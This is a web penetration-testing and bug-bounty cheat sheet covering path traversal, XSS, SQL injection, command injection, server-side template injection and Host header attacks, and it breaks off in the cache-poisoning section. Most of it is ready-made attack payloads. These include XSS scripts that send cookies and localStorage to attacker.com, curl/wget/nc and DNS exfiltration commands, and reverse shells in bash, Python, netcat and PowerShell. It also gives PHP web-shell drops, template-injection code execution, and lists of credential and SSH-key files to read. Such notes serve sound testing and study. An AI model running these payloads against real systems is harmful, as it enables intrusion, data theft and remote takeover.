Web VAPT & Bug Bounty Notes#
Setup & Configuration#
Setting Up SOCKS Proxy in Burp Suite#
# Purpose: Route Burp Suite traffic through a SOCKS proxy (e.g., Tor, SSH tunnel, or custom proxy)
# Use cases: Anonymity, accessing internal networks via pivot, bypassing IP restrictions
# Method 1: Project-specific SOCKS Proxy (Recommended)
# Steps:
# 1. Open Burp Suite
# 2. Go to User Options → Connections (or Project Options → Connections)
# 3. Navigate to "SOCKS Proxy" section
# 4. Configure:
# ☑ Use SOCKS proxy
# Host: 127.0.0.1 (or your proxy IP)
# Port: 9050 (Tor) / 1080 (SSH SOCKS) / custom port
# Version: SOCKS5 (recommended)
# 5. Optional: Enable "Do DNS lookups over SOCKS proxy"
# Method 2: Upstream Proxy Servers (Per-host basis)
# Steps:
# 1. Go to Proxy → Options → Upstream Proxy Servers
# 2. Click "Add" and configure:
# Destination host: * (or specific hosts)
# Proxy host: 127.0.0.1
# Proxy port: 9050
# ☑ Use SOCKS proxy
# SOCKS version: SOCKS5
# Setting up SSH SOCKS tunnel:
ssh -D 1080 -f -C -q -N user@pivot-server
# -D 1080: Create SOCKS proxy on port 1080
# -f: Run in background
# -C: Compress data
# -q: Quiet mode
# -N: No remote commands
# Verify SOCKS proxy is working:
curl --socks5 127.0.0.1:9050 http://httpbin.org/ip
Directory Traversal (Path Traversal)#
Basic Concepts#
Purpose: Access files and directories outside the intended web root by manipulating file paths in vulnerable parameters.
Common vulnerable parameters: filename
, file
, path
, template
, page
, doc
, image
Basic Payloads#
# Standard directory traversal
GET /image?filename=../../../etc/passwd HTTP/1.1
GET /image?filename=../../../../windows/win.ini HTTP/1.1
# Windows-style paths
GET /image?filename=..\..\..\..\..\..\..\windows\system32\drivers\etc\hosts HTTP/1.1
Advanced Bypass Techniques#
# 1. URL Encoding Bypasses
# Single URL encoding
../../../etc/passwd → %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
# Double URL encoding (useful when input is decoded twice)
../../../etc/passwd → %252e%252e%252f%252e%252e%252f%252e%252e%252f%65%74%63%252f%70%61%73%73%77%64
# 2. Path Manipulation
# Validation bypass (if path must start with specific directory)
/image?filename=/var/www/images/../../../../etc/passwd
# Null byte termination (bypasses file extension checks)
../../../../etc/passwd%00.jpg
../../../../etc/passwd\x00.png
# Mixed separators (confusion attacks)
..\%2f../..\%2fetc%2fpasswd
..\../..\etc\passwd
# 3. Advanced Encoding
# Overlong UTF-8 encoding
%c0%ae%c0%ae%c0%af → ../
%c0%ae%c0%ae%c0%afetc%c0%afpasswd
# 16-bit Unicode encoding
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
# 4. PHP Wrapper Abuse (PHP-specific)
# Read source code (Base64 encoded)
php://filter/read=convert.base64-encode/resource=index.php
# Local file include via POST data
# POST body: <?php system($_GET['cmd']); ?>
php://input
# Zip wrapper
zip://archive.zip%23file.txt
# Data wrapper
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
# How to use Base64 wrapper:
# 1. Send request with wrapper
# 2. Decode the Base64 response to view source code
echo "BASE64_OUTPUT" | base64 -d
High-Value Target Files#
# Linux Systems
/etc/passwd # User accounts
/etc/shadow # Password hashes (requires root)
/etc/group # Group information
/etc/hosts # Hostname mappings
/etc/resolv.conf # DNS configuration
/etc/crontab # Scheduled tasks
/etc/ssh/sshd_config # SSH configuration
/root/.ssh/id_rsa # Root SSH key
/root/.bash_history # Root command history
/home/{user}/.ssh/id_rsa # User SSH keys
/home/{user}/.bash_history # User command history
/var/log/auth.log # Authentication logs
/var/log/apache2/access.log # Apache access logs
/var/log/apache2/error.log # Apache error logs
/var/www/html/.env # Environment variables
/proc/self/environ # Current process environment
/proc/self/cmdline # Current process command line
/proc/version # Kernel version
/proc/meminfo # Memory information
# Configuration Files
/etc/apache2/apache2.conf # Apache main config
/etc/nginx/nginx.conf # Nginx main config
/etc/nginx/sites-enabled/default # Nginx site config
/etc/mysql/my.cnf # MySQL configuration
/opt/tomcat/conf/tomcat-users.xml # Tomcat users
/usr/local/apache/conf/httpd.conf # Alternative Apache config
# Windows Systems
C:\boot.ini # Boot configuration (legacy)
C:\windows\win.ini # Windows initialization
C:\windows\system.ini # System initialization
C:\windows\system32\drivers\etc\hosts # Hosts file
C:\windows\system32\config\SAM # Security Account Manager
C:\windows\system32\config\SYSTEM # System registry hive
C:\windows\debug\netsetup.log # Network setup logs
C:\inetpub\wwwroot\web.config # IIS web configuration
C:\windows\system32\inetsrv\config\applicationHost.config # IIS config
C:\Program Files\MySQL\MySQL Server 8.0\my.ini # MySQL config
C:\xampp\apache\conf\httpd.conf # XAMPP Apache config
# Application-specific files
/.env # Environment variables
/.env.local # Local environment variables
/.git/config # Git configuration
/.git/HEAD # Git HEAD reference
/composer.json # PHP dependencies
/package.json # Node.js dependencies
/Dockerfile # Docker configuration
/docker-compose.yml # Docker compose file
Cross-Site Scripting (XSS)#
Basic Concepts#
Purpose: Inject malicious client-side scripts executed by victim’s browser for cookie theft, session hijacking, or account takeover.
Detection & Basic Payloads#
<!-- Basic detection payloads -->
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<!-- Event handlers -->
<img src=1 onerror="javascript:alert(document.cookie)">
<audio src=1 onerror="javascript:alert(1)">
<video src=1 onerror="javascript:alert(1)">
<body onload="javascript:alert(1)">
<input autofocus onfocus=alert(1)>
<!-- Modern HTML5 vectors -->
<svg><animatetransform onbegin=alert(1)>
<details ontoggle=alert(1) open>
<audio controls onplay=alert(1)><source src=x>
Context-Specific Payloads#
<!-- HTML Context (between tags) -->
<script>alert(1)</script>
"><img src=x onerror=alert(1)>
<!-- Attribute Context (inside tag attributes) -->
" onmouseover="alert(1)
" onfocus="alert(1)" autofocus="
javascript:alert(1)
<!-- JavaScript Context -->
";alert(1);//
'-alert(1)-'
`+alert(1)+` <!-- Template literals -->
<!-- URL Context -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>
<!-- CSS Context -->
</style><script>alert(1)</script>
expression(alert(1))
url(javascript:alert(1))
Advanced XSS Techniques#
<!-- XML/SVG-based XSS -->
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)">
<!-- DOM-based XSS -->
<script>
var hash = location.hash.slice(1);
document.write(hash); // Vulnerable to DOM XSS
</script>
<!-- Exploit: http://site.com/page#<img src=x onerror=alert(1)> -->
<!-- Polyglot payloads (work in multiple contexts) -->
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>
Data Exfiltration Payloads#
// Cookie theft
<script>
fetch('http://attacker.com/steal?c=' + document.cookie);
</script>
// Alternative using Image
<script>
document.write('<img src="steal?c=' + document.cookie + '" />');
</script>
// LocalStorage exfiltration
<script>
var data = '';
for (var i = 0; i < localStorage.length; i++) {
var key = localStorage.key(i);
var value = localStorage.getItem(key);
data += key + '=' + value + '&';
}
fetch('http://attacker.com/steal?data=' + encodeURIComponent(data));
</script>
// Session token theft (from meta tags or headers)
<script>
var token = document.querySelector('meta[name="csrf-token"]').getAttribute('content');
fetch('http://attacker.com/steal?token=' + token);
</script>
// Complete DOM exfiltration
<script>
fetch('http://attacker.com/steal', {
method: 'POST',
body: document.documentElement.outerHTML
});
</script>
Filter Bypass Techniques#
<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x ONERROR=alert(1)>
<!-- Character encoding -->
<!-- HTML entities -->
<script>alert(1)</script>
<script>alert(1)</script>
<script>alert(1)</script>
<!-- JavaScript encoding -->
\x3cscript\x3ealert(1)\x3c/script\x3e
\074script\076alert(1)\074/script\076
<!-- String.fromCharCode -->
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<!-- Tag obfuscation -->
<script/xss src=data:text/javascript,alert(1)>
<img%0asrc%0a=%0ax%0aonerror%0a=%0aalert(1)>
<svg/onload=alert(1)>
<iframe srcdoc="<img src=x onerror=alert(1)>">
<!-- Event handler obfuscation -->
<img src=x onerror="window['ale'+'rt'](1)">
<img src=x onerror="window['\x61\x6c\x65\x72\x74'](1)">
<img src=x onerror="eval('\x61\x6c\x65\x72\x74\x28\x31\x29')">
<!-- Template literals and computed properties -->
<img src=x onerror="`${alert`1`}`">
<img src=x onerror="(alert)`1`">
CSP Bypass Techniques#
<!-- Data URI (if allowed) -->
<script src="data:text/javascript,alert(1)"></script>
<!-- JSONP endpoints -->
<script src="https://trusted-site.com/jsonp?callback=alert"></script>
<!-- Open redirects on whitelisted domains -->
<script src="https://trusted-site.com/redirect?url=https://evil.com/xss.js"></script>
<!-- Nonce bypass (if predictable) -->
<script nonce="PREDICTED_NONCE">alert(1)</script>
<!-- Library-specific bypasses -->
<!-- AngularJS (if included) -->
{{constructor.constructor('alert(1)')()}}
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
XSS Testing Methodology#
# 1. Identify reflection points
# Common parameters: q, search, query, name, message, comment, feedback
# 2. Test with simple payload
<script>alert(1)</script>
# 3. Check context of reflection
# View page source to see where input appears
# 4. Adapt payload to context
# HTML context: <img src=x onerror=alert(1)>
# Attribute context: " onmouseover="alert(1)
# JavaScript context: ";alert(1);//
# 5. Test for filters and bypass
# Try different encodings and obfuscation techniques
# 6. Verify execution
# Check if alert box appears or use console logging
# 7. Craft final exploit
# Create working proof-of-concept for impact demonstration
SQL Injection (SQLi)#
Basic Concepts#
Purpose: Manipulate database queries through user input to extract data, bypass authentication, or execute commands.
Common Injection Points#
# GET Parameters
GET /product?id=1' HTTP/1.1
# POST Parameters
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin'&password=test
# HTTP Headers
GET / HTTP/1.1
User-Agent: Mozilla/5.0' OR 1=1--
X-Forwarded-For: 127.0.0.1' UNION SELECT 1,2,3--
Cookie: sessionid=abc123'; DROP TABLE users;--
# JSON Parameters
POST /api/login HTTP/1.1
Content-Type: application/json
{"username":"admin\"","password":"test"}
# XML Parameters
POST /api/data HTTP/1.1
Content-Type: application/xml
<user><id>1' OR 1=1--</id></user>
Detection Techniques#
-- Basic detection payloads
'
"
`
')
"))
';--
";--
' OR '1'='1
" OR "1"="1
' OR 1=1--
" OR 1=1--
' OR 'x'='x
" OR "x"="x
-- Error-based detection
'||UTL_INADDR.get_host_name((select user from dual))||' -- Oracle
'+convert(int,@@version)+' -- MSSQL
'+(select load_file('/etc/passwd'))+' -- MySQL
'||(SELECT+password+FROM+users+LIMIT+1)||' -- PostgreSQL
-- Time-based detection
'; WAITFOR DELAY '00:00:05'-- -- MSSQL
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -- MySQL
'; SELECT pg_sleep(5)-- -- PostgreSQL
'; SELECT SLEEP(5)-- -- MySQL alternative
Union-Based SQLi#
-- Determine number of columns
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
-- Continue until error occurs
-- Alternative method
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
-- Continue until no error
-- Find injectable columns
' UNION SELECT 1,2,3--
' UNION SELECT 'a',2,3--
' UNION SELECT 1,'b',3--
-- Extract database information
-- MySQL
' UNION SELECT 1,database(),version()--
' UNION SELECT 1,user(),@@hostname--
' UNION SELECT 1,table_name,NULL FROM information_schema.tables--
' UNION SELECT 1,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT 1,username,password FROM users--
-- PostgreSQL
' UNION SELECT 1,current_database(),version()--
' UNION SELECT 1,user,NULL FROM pg_user--
' UNION SELECT 1,tablename,NULL FROM pg_tables WHERE schemaname='public'--
' UNION SELECT 1,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
-- MSSQL
' UNION SELECT 1,db_name(),@@version--
' UNION SELECT 1,name,NULL FROM sys.databases--
' UNION SELECT 1,name,NULL FROM sys.tables--
' UNION SELECT 1,name,NULL FROM sys.columns WHERE object_id=object_id('users')--
-- Oracle
' UNION SELECT 1,user,banner FROM v$version--
' UNION SELECT 1,table_name,NULL FROM all_tables--
' UNION SELECT 1,column_name,NULL FROM all_tab_columns WHERE table_name='USERS'--
Blind SQLi Techniques#
-- Boolean-based blind SQLi
-- Test true condition
' AND 1=1--
-- Test false condition
' AND 1=2--
-- Extract data character by character
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))=97--
-- Time-based blind SQLi
-- MySQL
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--
' AND IF(1=1,SLEEP(5),0)--
' AND IF((SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a',SLEEP(5),0)--
-- MSSQL
'; IF (1=1) WAITFOR DELAY '00:00:05'--
'; IF (LEN(DB_NAME())=4) WAITFOR DELAY '00:00:05'--
'; IF (ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1))=97) WAITFOR DELAY '00:00:05'--
-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
'; SELECT CASE WHEN (LENGTH(current_database())=8) THEN pg_sleep(5) ELSE pg_sleep(0) END--
Advanced SQLi Techniques#
-- Out-of-band (OOB) SQLi
-- MySQL (using DNS lookups)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',version(),'.',attacker.com,'\\'))--
' UNION SELECT LOAD_FILE(CONCAT('\\\\',database(),'.',attacker.com,'\\'))--
-- MSSQL (using xp_dirtree)
'; EXEC master..xp_dirtree '\\attacker.com\share'--
'; EXEC master..xp_dirtree CONCAT('\\',@@version,'.',attacker.com,'\share')--
-- PostgreSQL (using COPY TO PROGRAM - if available)
'; COPY (SELECT version()) TO PROGRAM 'nslookup $(cat).attacker.com'--
-- Error-based SQLi
-- MySQL
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x)a)--
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(database(),FLOOR(RAND(0)*2))x FROM information_schema.plugins GROUP BY x)a)--
-- MSSQL
' AND 1=CONVERT(int,@@version)--
' AND 1=CONVERT(int,db_name())--
-- PostgreSQL
' AND 1=CAST(version() AS INT)--
' AND 1=CAST(current_database() AS INT)--
-- Oracle
' AND 1=TO_NUMBER(banner) FROM v$version WHERE ROWNUM=1--
SQLi Automation Tools#
# Sqlmap - Most comprehensive SQL injection tool
# Basic usage
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
sqlmap -u "http://target.com/page?id=1" -D database_name -T table_name --columns
sqlmap -u "http://target.com/page?id=1" -D database_name -T table_name -C column1,column2 --dump
# Using request file from Burp
sqlmap -r request.txt --batch --level=3 --risk=3
# POST data injection
sqlmap -u "http://target.com/login" --data="username=test&password=test" --dbs
# Cookie injection
sqlmap -u "http://target.com/page" --cookie="sessionid=abc123" --dbs
# Header injection
sqlmap -u "http://target.com/page" --headers="X-Forwarded-For: 1.1.1.1" --dbs
# Advanced options
sqlmap -u "http://target.com/page?id=1" --os-shell # Try to get OS shell
sqlmap -u "http://target.com/page?id=1" --file-read="/etc/passwd" # Read files
sqlmap -u "http://target.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php" # Upload files
# Tamper scripts (bypass WAF)
sqlmap -u "http://target.com/page?id=1" --tamper="space2comment,randomcase"
sqlmap -u "http://target.com/page?id=1" --tamper="between,randomcase,space2comment"
# Ghauri - Alternative SQLi tool
ghauri -u "http://target.com/page?id=1" --level 3 --risk 3 --current-db
ghauri -r request.txt --batch --dump-all
# Manual verification steps:
# 1. Save HTTP request to file using Burp Suite
# 2. Run tool with saved request
# 3. Verify results manually if needed
# 4. Use --batch for automated answers
# 5. Use --level and --risk for thorough testing
WAF Bypass Techniques#
-- Comment-based bypasses
SELECT/**/user()
SELECT/*comment*/user()
SELECT+user()
-- Case variation
SeLeCt UsEr()
UNION sElEcT 1,2,3
-- Encoding bypasses
-- URL encoding
%55%4E%49%4F%4E%20%53%45%4C%45%43%54 -- UNION SELECT
-- Hex encoding (MySQL)
SELECT 0x48656c6c6f -- Hello
SELECT CONV('48656c6c6f',16,10)
-- Char function
SELECT CHAR(72,101,108,108,111) -- Hello
-- Concatenation
-- MySQL
SELECT CONCAT('UNI','ON')
-- MSSQL
SELECT 'UNI'+'ON'
-- Oracle
SELECT 'UNI'||'ON'
-- Alternative operators
-- Instead of = use LIKE
WHERE username LIKE 'admin'
-- Instead of OR use ||
WHERE 1=1 || 1=2
-- Instead of AND use &&
WHERE 1=1 && 2=2
-- Function replacement
-- Instead of SUBSTRING use MID, LEFT, RIGHT
MID((SELECT password FROM users LIMIT 1),1,1)
-- Instead of ASCII use ORD
ORD(MID((SELECT password FROM users LIMIT 1),1,1))
-- Whitespace bypasses
SELECT%0Auser() -- Newline
SELECT%09user() -- Tab
SELECT%0Duser() -- Carriage return
SELECT%0Buser() -- Vertical tab
SELECT%A0user() -- Non-breaking space
-- Parentheses manipulation
SELECT(user())
SELECT(user())FROM(dual)
Command Injection#
Basic Concepts#
Purpose: Execute arbitrary operating system commands on the server through vulnerable input fields.
Command Separators#
# Unix/Linux separators
; id # Semicolon - execute regardless of previous command
| id # Pipe - pass output to next command
|| id # OR - execute if previous command fails
& id # Ampersand - run in background
&& id # AND - execute if previous command succeeds
$(id) # Command substitution
`id` # Backticks - command substitution
%0a id # Newline (URL encoded)
%0d id # Carriage return (URL encoded)
# Windows separators
& dir # Ampersand
| dir # Pipe
|| dir # OR
&& dir # AND
%0a dir # Newline
# Universal separators (work on both)
; whoami
| whoami
|| whoami
& whoami
&& whoami
Detection Techniques#
# Time-based detection (most reliable)
# Linux
; sleep 10
| sleep 10
|| sleep 10 ||
`sleep 10`
$(sleep 10)
# Windows
; ping -n 10 127.0.0.1
| ping -n 10 127.0.0.1
|| ping -n 10 127.0.0.1 ||
# Cross-platform time delays
; ping -c 10 127.0.0.1 || ping -n 10 127.0.0.1
| timeout 10 || ping -n 10 127.0.0.1
# DNS-based detection (Out-of-band)
; nslookup `whoami`.attacker.com
| nslookup $(whoami).attacker.com
|| dig `id | base64`.attacker.com ||
Blind Command Injection#
# Output redirection to web-accessible location
; whoami > /var/www/html/output.txt
| id > /tmp/output && cp /tmp/output /var/www/html/
|| echo $(cat /etc/passwd) > /var/www/html/data.txt ||
# Windows output redirection
; dir > C:\inetpub\wwwroot\output.txt
| whoami > C:\xampp\htdocs\result.txt
# Out-of-band data exfiltration
# Linux
; curl http://attacker.com/steal?data=$(cat /etc/passwd | base64)
| wget --post-data="data=$(whoami)" http://attacker.com/collect
|| nc attacker.com 4444 < /etc/passwd ||
# Windows
; powershell -c "Invoke-WebRequest -Uri http://attacker.com/steal -Method POST -Body (Get-Content C:\windows\win.ini)"
| certutil -urlcache -split -f http://attacker.com/test.txt C:\temp\test.txt
# DNS exfiltration
; nslookup $(cat /etc/passwd | base64 | tr -d '\n').attacker.com
| nslookup %USERNAME%.%COMPUTERNAME%.attacker.com
Advanced Techniques#
# Command chaining for maximum impact
; cp /bin/bash /tmp/bash; chmod +s /tmp/bash; /tmp/bash -p
| echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' | bash
# Reverse shells
# Bash
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Python
; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# Netcat
; nc -e /bin/bash attacker.com 4444
# PowerShell (Windows)
; powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# File upload via command injection
; echo '<?php system($_GET[cmd]); ?>' > /var/www/html/shell.php
| echo 'PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+' | base64 -d > /var/www/html/shell.php
# Environment variable manipulation
; export PATH=/tmp:$PATH; echo '#!/bin/bash\nid' > /tmp/ls; chmod +x /tmp/ls
| unset PATH; /bin/id
# Process information gathering
; ps aux | grep -v grep
| netstat -tulpn
|| cat /proc/cpuinfo ||
Filter Bypass Techniques#
# Space bypasses
${IFS} # Internal Field Separator
$IFS$() # Alternative IFS usage
<command<$IFS<argument> # Redirection-based spacing
{cat,/etc/passwd} # Brace expansion
X=cat\x20/etc/passwd';$X # Hex encoding in variable
# Examples:
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
{cat,/etc/passwd}
X=cat\x20/etc/passwd';$X
# Quote bypasses
c'a't /etc/passwd # Single quotes
c"a"t /etc/passwd # Double quotes
c\a\t /etc/passwd # Backslash escaping
ca$1t /etc/passwd # Variable substitution (if $1 is empty)
# Keyword filtering bypasses
# If 'cat' is filtered
tac /etc/passwd # Reverse cat
less /etc/passwd
more /etc/passwd
head /etc/passwd
tail /etc/passwd
nl /etc/passwd # Number lines
od -c /etc/passwd # Octal dump
# If 'etc' is filtered
cat /e*c/passwd
cat /et?/passwd
cat /etc/pass??
cat /*/*/passwd
# Hex/octal encoding
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" | xargs cat # /etc/passwd in hex
$(printf "\143\141\164") /etc/passwd # 'cat' in octal
# Base64 encoding
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash # 'cat /etc/passwd' encoded
# Variable manipulation
a=c;b=at;$a$b /etc/passwd
cmd=cat;$cmd /etc/passwd
Testing Methodology#
# 1. Identify injection points
# Common parameters: cmd, command, exec, system, ping, host, ip
# 2. Test with time delays
; sleep 5
| ping -c 5 127.0.0.1
# 3. Test with output redirection
; whoami > /var/www/html/test.txt
# 4. Test with DNS queries
; nslookup test.attacker.com
# 5. Establish reverse shell if possible
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
# 6. Enumerate system information
; uname -a; id; pwd; ls -la
# Testing script example:
#!/bin/bash
target="http://target.com/ping"
payloads=(
"; sleep 5"
"| sleep 5"
"&& sleep 5"
"|| sleep 5 ||"
"`sleep 5`"
"$(sleep 5)"
)
for payload in "${payloads[@]}"; do
echo "Testing: $payload"
start_time=$(date +%s)
curl -s "$target" -d "ip=127.0.0.1$payload" >/dev/null
end_time=$(date +%s)
duration=$((end_time - start_time))
if [ $duration -ge 5 ]; then
echo "VULNERABLE: $payload (took ${duration}s)"
fi
done
Server-Side Template Injection (SSTI)#
Basic Concepts#
Purpose: Exploit template engines by injecting malicious template syntax, leading to information disclosure or RCE.
Detection Payloads#
# Arithmetic operations (universal detection)
{{2*2}} # Most template engines
[[3*3]] # AngularJS
${7*7} # Freemarker, Velocity, Thymeleaf
<%= 7*7 %> # ERB (Ruby), JSP
#{7*7} # Smarty, Mako
@(7*7) # Razor (ASP.NET)
${{7*7}} # Thymeleaf alternative
# String manipulation detection
{{'abc'*3}} # Should output: abcabcabc
{{7*'7'}} # Should output: 7777777 (different from 49)
# Specific engine detection
{{config}} # Jinja2/Flask
{{app}} # Jinja2/Flask
{$smarty.version} # Smarty
@Model # Razor
Jinja2/Twig Exploitation#
# Information disclosure
{{config}} # Configuration object
{{config.items()}} # All config items
{{request}} # Request object
{{request.environ}} # Environment variables
{{self.__dict__}} # Self object attributes
{{lipsum.__globals__}} # Global variables
{{url_for.__globals__}} # URL helper globals
{{get_flashed_messages.__globals__}} # Flask globals
# File system access
{{''.__class__.__mro__[2].__subclasses__()}} # List all subclasses
{{config.__class__.__init__.__globals__['os'].listdir('.')}} # List directory
# Code execution techniques
# Method 1: Using config object
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{config.__class__.__init__.__globals__['os'].system('wget http://attacker.com/shell.sh')}}
# Method 2: Using subclasses
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "popen" in x.__name__ %}
{{x('id',shell=True,stdout=-1).communicate()[0].strip()}}
{% endif %}
{% endfor %}
# Method 3: Using warnings (Python 3)
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['sys'].modules['os'].popen('id').read()}}
# Automated subclass finder payload
{{''.__class__.__base__.__subclasses__()[182].__init__.__globals__['sys'].modules['subprocess'].Popen('id',shell=True,stdout=-1).communicate()[0].strip()}}
# Reverse shell
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"').read()}}
Language-Specific Exploits#
{% raw %}
<!-- ERB (Ruby) -->
<!-- File read -->
<%= File.open('/etc/passwd').read %>
<%= File.read('/etc/passwd') %>
<!-- Command execution -->
<%= system('id') %>
<%= `id` %>
<%= %x{id} %>
<%= IO.popen('id').readlines %>
<!-- Directory listing -->
<%= Dir.entries('/') %>
// Velocity (Java)
// Basic RCE
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
// Alternative method
$class.inspect("java.lang.Runtime").type.getRuntime().exec("calc.exe")
// File system access
#set($engine=$class.inspect("java.lang.System").type)
$engine.getProperty("user.dir")
{* Smarty (PHP) *}
{* Information disclosure *}
{$smarty.version}
{$smarty.template}
{* File inclusion (if enabled) *}
{include file="/etc/passwd"}
{* PHP code execution (if {php} tags enabled) *}
{php}echo `id`;{/php}
{php}system($_GET['cmd']);{/php}
{php}file_get_contents('/etc/passwd');{/php}
{# Twig (PHP) #}
{# Information disclosure #}
{{dump(app)}}
{{app.request}}
{# File system access #}
{{include('/etc/passwd')}}
{# Code execution using filters #}
{{'id'|filter('system')}}
{{'cat /etc/passwd'|filter('system')}}
{{'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'|filter('system')}}
{# Alternative filter methods #}
{{'id'|filter('passthru')}}
{{'id'|filter('shell_exec')}}
{% endraw %}
Advanced SSTI Techniques#
{% raw %}
# Python pickle deserialization (if available)
{{''.__class__.__reduce_ex__(2)}}
# Custom object creation
{% set x = dict(a=1) %}
{% set x.b = 2 %}
{{x}}
# Macro abuse
{% macro test() %}
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{% endmacro %}
{{test()}}
# Import bypass
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
# Complex payload chaining
{% set x = "os" %}
{% set y = "system" %}
{{config.__class__.__init__.__globals__[x][y]('id')}}
{% endraw %}
SSTI Discovery & Enumeration#
# Manual testing approach
# 1. Test basic arithmetic
{{7*7}}
${7*7}
<%= 7*7 %>
# 2. Identify template engine
{{config}} # Jinja2
{$smarty} # Smarty
@Model # Razor
# 3. Find exploitable objects/functions
{{''.__class__}}
{{config.__class__}}
# 4. Build exploit chain
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Automated tools
# SSti map (https://github.com/vladko312/SSTImap)
python sstimap.py -u "http://target.com/page?name=test" -s
# Tplmap (https://github.com/epinna/tplmap)
python tplmap.py -u "http://target.com/page?template=*" --os-shell
# Custom fuzzing script
#!/bin/bash
payloads=(
"{{7*7}}"
"${7*7}"
"<%= 7*7 %>"
"#{7*7}"
"@(7*7)"
)
for payload in "${payloads[@]}"; do
response=$(curl -s "http://target.com/page?name=$payload")
if [[ $response == *"49"* ]]; then
echo "Potential SSTI: $payload"
fi
done
Host Header Attacks#
Basic Concepts#
Purpose: Manipulate Host header and related headers to exploit application logic, leading to password reset poisoning, cache poisoning, or SSRF.
Common Attack Vectors#
# Basic Host header manipulation
GET / HTTP/1.1
Host: evil.com
Connection: close
# Alternative headers to test
GET / HTTP/1.1
Host: legitimate.com
X-Forwarded-Host: evil.com
X-Host: evil.com
X-Forwarded-Server: evil.com
X-HTTP-Host-Override: evil.com
Forwarded: host=evil.com
# Multiple Host headers (HTTP/1.1 allows this)
GET / HTTP/1.1
Host: legitimate.com
Host: evil.com
# Port manipulation
GET / HTTP/1.1
Host: legitimate.com:8080
# IP address spoofing
GET / HTTP/1.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Password Reset Poisoning#
# Attack flow:
# 1. Intercept password reset request
POST /forgot-password HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: evil.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# 2. If vulnerable, reset link will be:
# https://evil.com/reset?token=abc123
# instead of:
# https://vulnerable.com/reset?token=abc123
# 3. Victim clicks link and visits attacker's server
# 4. Attacker captures reset token from access logs
# Testing methodology:
# 1. Create account on target application
# 2. Initiate password reset for your account
# 3. Intercept request and modify Host header
# 4. Check if reset email contains your domain
# 5. If successful, test with victim account
Cache Poisoning#
# Web cache deception
GET /profile/nonexistent.css HTTP/1.1
Host: vulnerable.com
Cookie: sessionid=victim_session
# If cache stores this under /profile/nonexistent.css
# Attacker can later access:
GET /profile/nonexistent.css HTTP/1.1
Host: vulnerable.com
# And receive victim's profile data
# Cache poisoning with XSS
GET / HTTP/1.1
Host: vulnerable.com
